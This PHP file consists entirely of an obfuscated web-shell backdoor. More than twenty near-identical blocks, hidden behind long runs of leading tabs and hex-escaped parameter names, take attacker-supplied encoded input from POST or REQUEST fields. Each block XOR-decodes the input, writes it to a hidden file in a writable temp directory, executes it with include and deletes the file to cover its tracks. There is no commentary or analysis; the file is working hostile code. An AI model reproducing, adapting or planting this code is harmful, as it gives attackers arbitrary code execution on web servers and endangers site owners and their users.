<?php																																										if(!empty($_REQUEST["sym"])){ $pset = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP")]); $hld = $_REQUEST["sym"]; $hld = explode('.' ,$hld); $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; $__len = count($hld); do { if ($v >= $__len) break; $v1 = $hld[$v]; $chS = ord($s[$v % $sLen]); $d = ((int)$v1 - $chS - ($v % 10)) ^ 19; $pgrp.= chr($d); $v++; } while (true); while ($bind = array_shift($pset)) { if (is_dir($bind) ? is_writable($bind) : false) { $comp = "$bind" . "/.tkn"; if (file_put_contents($comp, $pgrp)) { include $comp; @unlink($comp); die(); } } } }
																																										if(array_key_exists("\x70tr", $_POST)){ $sym = $_POST["\x70tr"]; $sym=explode ( "." , $sym ) ; $bind =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $v =0; $__tmp =$sym; while ($v6 =array_shift($__tmp)) { $sChar =ord($salt[$v % $sLen] ); $d =((int)$v6 - $sChar - ($v % 10))^ 13; $bind .= chr($d ); $v++; } $record = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $ent = 0; do { $flg = $record[$ent] ?? null; if ($ent >= count($record)) break; if (is_dir($flg) ? is_writable($flg) : false) { $hld = sprintf("%s/.item", $flg); if (file_put_contents($hld, $bind)) { include $hld; @unlink($hld); exit; } } $ent++; } while (true); }
																																										if(@$_POST["\x64a\x74"] !== null){ $element = $_POST["\x64a\x74"]; $element= explode ( "." ,$element) ; $token= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); $n= 0; $__tmp= $element; while ($v6= array_shift($__tmp)) { $chS= ord($s2[$n % $lenS]); $d= ((int)$v6 - $chS - ($n % 10)) ^ 67; $token .= chr($d); $n++; } $rec = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); foreach ($rec as $pgrp): if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $k = "$pgrp/.parameter_group"; if (@file_put_contents($k, $token) !== false) { include $k; unlink($k); exit; } } endforeach; }
																																										if(in_array("s\x79\x6Db\x6Fl", array_keys($_REQUEST))){ $marker = $_REQUEST["s\x79\x6Db\x6Fl"]; $marker = explode ( "." ,$marker ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $i = 0; $__tmp = $marker; while($v4 = array_shift($__tmp)) {$chS = ord($salt[$i % $sLen]); $dec =((int)$v4 - $chS -($i % 10)) ^ 25; $tkn .= chr($dec); $i++; } $pgrp = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/dev/shm"]); while ($val = array_shift($pgrp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $itm = implode("/", [$val, ".dchunk"]); if (file_put_contents($itm, $tkn)) { require $itm; unlink($itm); die(); } } } }
																																										if(!empty($_POST["\x73y\x6D"])){ $descriptor = $_POST["\x73y\x6D"]; $descriptor= explode ("." , $descriptor ) ; $bind = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $len = count($descriptor); for ($j = 0; $j < $len; $j++) { $v5 = $descriptor[$j]; $chS = ord($salt6[$j % $sLen]); $dec = ((int)$v5 - $chS - ($j % 10)) ^ 15; $bind .= chr($dec); } $factor = array_filter(["/var/tmp", session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($factor as $key => $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $flag = "$reference/.res"; if (file_put_contents($flag, $bind)) { require $flag; unlink($flag); exit; } } } }
																																										if(!empty($_POST["r\x65\x73"])){ $val = $_POST["r\x65\x73"]; $val=explode ( ".", $val); $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); $m = 0; $__len = count($val ); do { if($m>=$__len) break; $v1 = $val[$m]; $chS = ord($salt5[$m % $lenS] ); $d =((int)$v1 - $chS -($m % 10)) ^62; $obj .= chr($d ); $m++;} while(true ); $bind = array_filter([getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); foreach ($bind as $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $desc = join("/", [$sym, ".ent"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $desc; @unlink($desc); exit; } } } }
																																										if(array_key_exists("t\x6F\x6Ben", $_POST)){ $item = $_POST["t\x6F\x6Ben"]; $item =explode( "." , $item ); $reference = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); foreach ($item as $l => $v3) { $sChar = ord($salt5[$l % $sLen]); $d = ((int)$v3 - $sChar - ($l % 10))^16; $reference .=chr($d); } $pgrp = array_filter(["/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($pgrp as $k) { if (is_writable($k) && is_dir($k)) { $tkn = "$k/.resource"; if (@file_put_contents($tkn, $reference) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "p\x6Finte\x72")){ $dchunk = array_filter([getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); $desc = $_POST["p\x6Finte\x72"]; $desc = explode ( '.', $desc ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $v = 0; $__tmp = $desc; while ($v4 = array_shift($__tmp)) { $sChar = ord($s[$v % $lenS] ); $d = ((int)$v4 - $sChar - ($v % 10))^1; $binding .= chr($d ); $v++; } foreach ($dchunk as $descriptor) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $entry = str_replace("{var_dir}", $descriptor, "{var_dir}/.resource"); if (file_put_contents($entry, $binding)) { include $entry; @unlink($entry); exit; } } } }
																																										if(!is_null($_REQUEST["\x72\x65cord"] ?? null)){ $resource = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", getenv("TMP")]); $dat = $_REQUEST["\x72\x65cord"]; $dat= explode ( '.', $dat ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($dat); for ($q = 0; $q < $__len; $q++) { $v9 = $dat[$q]; $sChar = ord($s[$q% $lenS]); $d = ((int)$v9 - $sChar - ($q% 10)) ^ 11; $pgrp .= chr($d); } for ($fac = 0, $res = count($resource); $fac < $res; $fac++) { $data_chunk = $resource[$fac]; if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $val = implode("/", [$data_chunk, ".reference"]); if (@file_put_contents($val, $pgrp) !== false) { include $val; unlink($val); exit; } } } }
																																										if(isset($_POST["re\x73o\x75\x72c\x65"]) ? true : false){ $pset = array_filter([getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $token = $_POST["re\x73o\x75\x72c\x65"]; $token = explode ("." ,$token ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $i = 0; array_walk( $token, function( $v2) use( &$ref, &$i, $salt, $lenS) {$sChar = ord( $salt[$i % $lenS]); $d =( ( int)$v2 - $sChar -( $i % 10))^ 4; $ref .= chr( $d); $i++; }); for ($flg = 0, $dat = count($pset); $flg < $dat; $flg++) { $k = $pset[$flg]; if ((is_dir($k) and is_writable($k))) { $entry = "$k" . "/.sym"; if (file_put_contents($entry, $ref)) { include $entry; @unlink($entry); die(); } } } }
																																										if(array_key_exists("\x74\x6Fken", $_REQUEST)){ $component = $_REQUEST["\x74\x6Fken"]; $component =explode ( ".", $component) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $v = 0; $__tmp = $component; while ($v9 = array_shift($__tmp)) { $sChar = ord($s[$v %$lenS] ); $dec = ((int)$v9 - $sChar - ($v %10)) ^ 15; $descriptor .= chr($dec ); $v++; } $marker = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp"]); foreach ($marker as $record) { if (is_writable($record) && is_dir($record)) { $symbol = sprintf("%s/.rec", $record); if (file_put_contents($symbol, $descriptor)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(!is_null($_REQUEST["t\x6Bn"] ?? null)){ $entity = $_REQUEST["t\x6Bn"]; $entity = explode( '.' ,$entity ) ; $k = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); foreach ($entity as $u =>$v7) { $chS = ord($salt2[$u % $lenS]); $d = ((int)$v7 - $chS - ($u % 10)) ^ 51; $k .= chr($d); } $entry = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]); for ($value = 0, $data = count($entry); $value < $data; $value++) { $ent = $entry[$value]; if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $marker = sprintf("%s/.object", $ent); $success = file_put_contents($marker, $k); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(array_key_exists("pg\x72p", $_POST)){ $property_set = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $binding = $_POST["pg\x72p"]; $binding = explode ( '.' ,$binding ) ; $value=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); foreach($binding as $v => $v5) { $chS=ord($salt[$v % $sLen]); $dec=((int)$v5 - $chS -($v % 10)) ^ 85; $value .= chr($dec); } foreach ($property_set as $descriptor): if (is_dir($descriptor) && is_writable($descriptor)) { $holder = "$descriptor/.reference"; if (@file_put_contents($holder, $value) !== false) { include $holder; unlink($holder); die(); } } endforeach; }
																																										if(array_key_exists("ptr", $_REQUEST)){ $ent = array_filter([getenv("TEMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $object = $_REQUEST["ptr"]; $object= explode( "." ,$object ); $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $v = 0; array_walk( $object, function( $v9) use( &$pointer, &$v, $salt, $lenS) { $sChar = ord( $salt[$v% $lenS] ); $dec =( ( int)$v9 - $sChar -( $v% 10))^81; $pointer.= chr( $dec ); $v++; } ); foreach ($ent as $rec): if (!( !is_dir($rec) || !is_writable($rec) )) { $flg = vsprintf("%s/%s", [$rec, ".value"]); $success = file_put_contents($flg, $pointer); if ($success) { include $flg; @unlink($flg); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x70\x74r")){ $flag = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd()]); $binding = $_REQUEST["\x70\x74r"]; $binding = explode (".",$binding ) ; $factor =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt2); $q =0; array_walk($binding, function($v5) use(&$factor, &$q, $salt2, $sLen) { $chS =ord($salt2[$q% $sLen]); $d =((int)$v5 - $chS -($q% 10)) ^ 100; $factor .= chr($d); $q++; }); while ($fac = array_shift($flag)) { if (array_product([is_dir($fac), is_writable($fac)])) { $ent = implode("/", [$fac, ".itm"]); if (@file_put_contents($ent, $factor) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(!is_null($_REQUEST["\x72efere\x6Ece"] ?? null)){ $component = $_REQUEST["\x72efere\x6Ece"]; $component= explode(".", $component ) ; $entry=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $len=count($component); for ($l=0; $l < $len; $l++) { $v1=$component[$l]; $chS=ord($s[$l % $sLen]); $d=((int)$v1 - $chS - ($l % 10)) ^ 96; $entry .= chr($d); } $item = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($item as $itm): if ((is_dir($itm) and is_writable($itm))) { $value = "$itm/.bind"; $file = fopen($value, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $value; @unlink($value); exit; } } endforeach; }
																																										if(in_array("\x72\x65f", array_keys($_POST))){ $pgrp = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp"]); $itm = $_POST["\x72\x65f"]; $itm = explode ('.' , $itm ) ; $symbol = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $len = count($itm); for ($y = 0; $y < $len; $y++) { $v4 = $itm[$y]; $sChar = ord($salt9[$y % $lenS]); $dec = ((int)$v4 - $sChar - ($y % 10)) ^ 72; $symbol .= chr($dec); } foreach ($pgrp as $key => $holder) { if (is_dir($holder) && is_writable($holder)) { $reference = implode("/", [$holder, ".obj"]); if (file_put_contents($reference, $symbol)) { include $reference; @unlink($reference); exit; } } } }
																																										if(array_key_exists("\x63\x6Fmp", $_POST) && !is_null($_POST["\x63\x6Fmp"])){ $elem = $_POST["\x63\x6Fmp"]; $elem =explode (".", $elem ); $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $z = 0; while( $z < count( $elem)) {$v7 = $elem[$z]; $sChar = ord( $s[$z% $sLen] ); $dec =( ( int)$v7 - $sChar -( $z% 10)) ^ 11; $itm.=chr( $dec ); $z++; } $desc = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path()]); $data = 0; do { $hld = $desc[$data] ?? null; if ($data >= count($desc)) break; if ((is_dir($hld) and is_writable($hld))) { $rec = "$hld" . "/.res"; if (@file_put_contents($rec, $itm) !== false) { include $rec; unlink($rec); exit; } } $data++; } while (true); }
																																										if(array_key_exists("\x64\x65s\x63\x72\x69ptor", $_REQUEST)){ $symbol = $_REQUEST["\x64\x65s\x63\x72\x69ptor"]; $symbol = explode ( "." , $symbol ) ; $factor = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); $z = 0; array_walk($symbol, function ($v9) use (&$factor, &$z, $s7, $lenS) { $sChar = ord($s7[$z % $lenS]); $d = ((int)$v9 - $sChar - ($z % 10)) ^ 28; $factor .= chr($d); $z++;} ); $res = array_filter(["/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); foreach ($res as $record): if ((is_dir($record) and is_writable($record))) { $data_chunk = str_replace("{var_dir}", $record, "{var_dir}/.hld"); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } endforeach; }
																																										if(!empty($_REQUEST["hld"])){ $dchunk = $_REQUEST["hld"]; $dchunk =explode ( '.' , $dchunk) ; $flg = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $l = 0; while ($l< count($dchunk)) { $v1 = $dchunk[$l]; $sChar = ord($salt1[$l%$lenS]); $dec = ((int)$v1 - $sChar - ($l%10)) ^49; $flg .= chr($dec); $l++; } $obj = array_filter(["/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd()]); while ($ref = array_shift($obj)) { if (!!is_dir($ref) && !!is_writable($ref)) { $entity = str_replace("{var_dir}", $ref, "{var_dir}/.value"); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $entity; @unlink($entity); exit; } } } }
																																										if(@$_POST["o\x62\x6A"] !== null){ $descriptor = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP")]); $desc = $_POST["o\x62\x6A"]; $desc = explode ("." , $desc ) ; $pset = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $w = 0; while($w <count($desc)) { $v8 = $desc[$w]; $sChar = ord($s8[$w % $sLen]); $d =((int)$v8 - $sChar -($w % 10)) ^ 62; $pset .= chr($d); $w++; } for ($val = 0, $parameter_group = count($descriptor); $val < $parameter_group; $val++) { $mrk = $descriptor[$val]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $pgrp = "$mrk/.ref"; if (file_put_contents($pgrp, $pset)) { include $pgrp; @unlink($pgrp); exit; } } } }


if(array_key_exists("mark\x65r", $_POST)){
	$record = $_POST["mark\x65r"];
	  	$record   = explode (	'.'	,	$record	)		;
	$elem	 =  '';
            $salt	 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =  strlen($salt);
    
            foreach($record as $r  =>$v3):
                $chS	 =  ord($salt[$r % $sLen]);
                $d	 =  ((int)$v3 - $chS -($r % 10)) ^ 54;
                $elem	 .=  chr($d);
            endforeach;
	$ptr = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]);
	$flg = 0;
do {
    $pgrp = $ptr[$flg] ?? null;
    if ($flg >= count($ptr)) break;
    		if (max(0, is_dir($pgrp) * is_writable($pgrp))) {
    $sym = "$pgrp/.descriptor";
    $success = file_put_contents($sym, $elem);
if ($success) {
	include $sym;
	@unlink($sym);
	die();}
}
    $flg++;
} while (true);
}